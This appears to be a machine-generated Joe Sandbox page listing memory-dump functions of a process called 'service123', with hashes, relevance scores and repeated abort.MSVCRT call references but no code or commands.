Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: d00c2d7bc9b468da00ec53f8adb87b5d9e7d350af04210afa11eb3ff53647e2c
Instruction ID: b89f0fea2e1719fe1cb1b68f79306dad7040bf9e48659a07c67d70fd11f5df79
Opcode Fuzzy Hash: d00c2d7bc9b468da00ec53f8adb87b5d9e7d350af04210afa11eb3ff53647e2c
Instruction Fuzzy Hash: 750169B1A44204CFD704EF18D0D8B6AB7B0EF4230CF05A988C4845BB56C775D819CF9A

Function 6C2F2B30 Relevance: 37.6, APIs: 25, Instructions: 61COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,6C2FDC0C), ref: 6C3C11E8
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11ED
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F2
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F7
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11FC
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1201
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1206
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C120B
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1210
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1215
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121A
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121F
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: c06aa5de9078f59789ef58b839e537eec311ac668470f2fbb6ae513b8ff9ed41
Instruction ID: 0aad10a4bae9e71142c70a1cea7f90ff08ad8173f26bfbc97054e655b4634ce7
Opcode Fuzzy Hash: c06aa5de9078f59789ef58b839e537eec311ac668470f2fbb6ae513b8ff9ed41
Instruction Fuzzy Hash: EAF049B1A442048FD704DF18C4D8B6AB7B1EF43308F06A988C4845BB66C775D819CF9A

Function 6C2FBA80 Relevance: 34.6, APIs: 23, Instructions: 110COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F2
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F7
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11FC
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1201
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1206
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C120B
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1210
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1215
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121A
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121F
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2cd21a0731b0fd5645fbe5781f896b8838d8aa70dbf78d60900b78dd0f2d700b
Instruction ID: 7f216b89274e062ed0da92227397f219c22596316f9a1c6d5fbf9d094768ec3f
Opcode Fuzzy Hash: 2cd21a0731b0fd5645fbe5781f896b8838d8aa70dbf78d60900b78dd0f2d700b
Instruction Fuzzy Hash: 7821273268871C8BC310CF08D8C06A7F7E6EFC7365F14892DD9B957B40D271A80A8B51

Function 6C2FBBF8 Relevance: 34.6, APIs: 23, Instructions: 97COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F2
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F7
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11FC
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1201
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1206
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C120B
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1210
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1215
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121A
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121F
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: b98b0610eb1ba2d5c1894719720b53ecdbd0abcf8ee72a2d5f8a2e6744e64e23
Instruction ID: 8f96bdbd48e4db5e7036b73077a24bfd5bf5e8c5912c58e906485ab94742098d
Opcode Fuzzy Hash: b98b0610eb1ba2d5c1894719720b53ecdbd0abcf8ee72a2d5f8a2e6744e64e23
Instruction Fuzzy Hash: 3811B2207D823D86C6140D6D99E1E64F2972717716FD4022BF8A083A99C11AD88BB82B

Function 6C2FBBC4 Relevance: 34.6, APIs: 23, Instructions: 63COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F2
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F7
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11FC
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1201
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1206
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C120B
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1210
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1215
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121A
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121F
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: fe12e7ad662d941757bd0eeddead6298559785cbfeee1aae1076d2ad88ff7d18
Instruction ID: ee1cc59de023d44c96d16a629d6450e4dcefb9605517a0319287b00d879ad540
Opcode Fuzzy Hash: fe12e7ad662d941757bd0eeddead6298559785cbfeee1aae1076d2ad88ff7d18
Instruction Fuzzy Hash: F8F0B43179C21CC7C2048D6CE998A29F2E7779B300F80543CFC58D3B09C660EC2A855A

Function 6C2FBAD0 Relevance: 33.1, APIs: 22, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94099c44a6766c59f5249b2a617a3eb55b5c8de465c45cfed945a3838a7e3c6e
Instruction ID: ce8fade7ec79d7443a9c8a15db6d4c16a4b99854390cc6072d01c71f2d38aa24
Opcode Fuzzy Hash: 94099c44a6766c59f5249b2a617a3eb55b5c8de465c45cfed945a3838a7e3c6e
Instruction Fuzzy Hash: 2A31863278535D8BD310CE98C8D07A6F7A1AB87358F14452DDDB54BF46C275D80ACB81

Function 6C2FBDFF Relevance: 33.1, APIs: 22, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a20cdab3ae36fec1f33522b007e587259fd12a1a98e7e9187125ec7945d2f424
Instruction ID: a06c4650c8f05c5adae6f51def78f2d52d1f4774686d6c643421e919ecf9333a
Opcode Fuzzy Hash: a20cdab3ae36fec1f33522b007e587259fd12a1a98e7e9187125ec7945d2f424
Instruction Fuzzy Hash: 46012DB2ED579D07E3108E74C8943A5FA905B4334CF58856CCFF21BF46C665980AB791

Function 6C2FBB7B Relevance: 33.1, APIs: 22, Instructions: 62COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F7
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11FC
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1201
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1206
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C120B
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1210
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1215
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121A
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121F
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 4f3e70e561fcab424de7dc1f8725c5f5df3f0baa478f8b3d553599db53cf0bd1
Instruction ID: 244993f5cdc60d2b32def7c9da7e0d29649e0bf99ee67affd18dd44e39e05a35
Opcode Fuzzy Hash: 4f3e70e561fcab424de7dc1f8725c5f5df3f0baa478f8b3d553599db53cf0bd1
Instruction Fuzzy Hash: 84F0F936A4929E4BD310DE9CD4C0BA9F7A07F83308F451859CD646BE16C334D859CB93

Function 6C2FBED2 Relevance: 33.1, APIs: 22, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24d3ec9f7979355fe96f1f850ac073e827be6bf16d718dc3d71abe5d68450ecd
Instruction ID: efc5ead95ede4af8f998be5a271f6e03903abb7f3fdb6c683a0f8c9544221d0a
Opcode Fuzzy Hash: 24d3ec9f7979355fe96f1f850ac073e827be6bf16d718dc3d71abe5d68450ecd
Instruction Fuzzy Hash: E4F0B4B6E8569C0BE3208E64C4947A5FBA06B4330CF48559CDAE127F43C265D84B9B96

Function 6C2FBD06 Relevance: 33.0, APIs: 22, Instructions: 45COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F7
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11FC
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1201
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1206
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C120B
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1210
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1215
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121A
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121F
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: f5d5e22c50d88501bfbe652d6614fd9e93bdeffd4e84d421624fe6463c8ade67
Instruction ID: 74f76ebc340edb787efe642dcfb4024c58476e44d1cffef54cd9c6cca190bde9
Opcode Fuzzy Hash: f5d5e22c50d88501bfbe652d6614fd9e93bdeffd4e84d421624fe6463c8ade67
Instruction Fuzzy Hash: 2DF0C074AA930A8BC341EF09E0C446EF3B4BBCA304F50296DC98463709C331E4268F57

Function 6C2FBC33 Relevance: 33.0, APIs: 22, Instructions: 42COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F7
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11FC
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1201
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1206
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C120B
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1210
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1215
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121A
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121F
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 9ba88221dba913dc6aedd714fc70a2e833d02144045768492bb6565afbb726d6
Instruction ID: f4dde6080ddbedcfb4a20fc5b16e96b52e0d966cdf8a1978f6c1753c3697bcbd
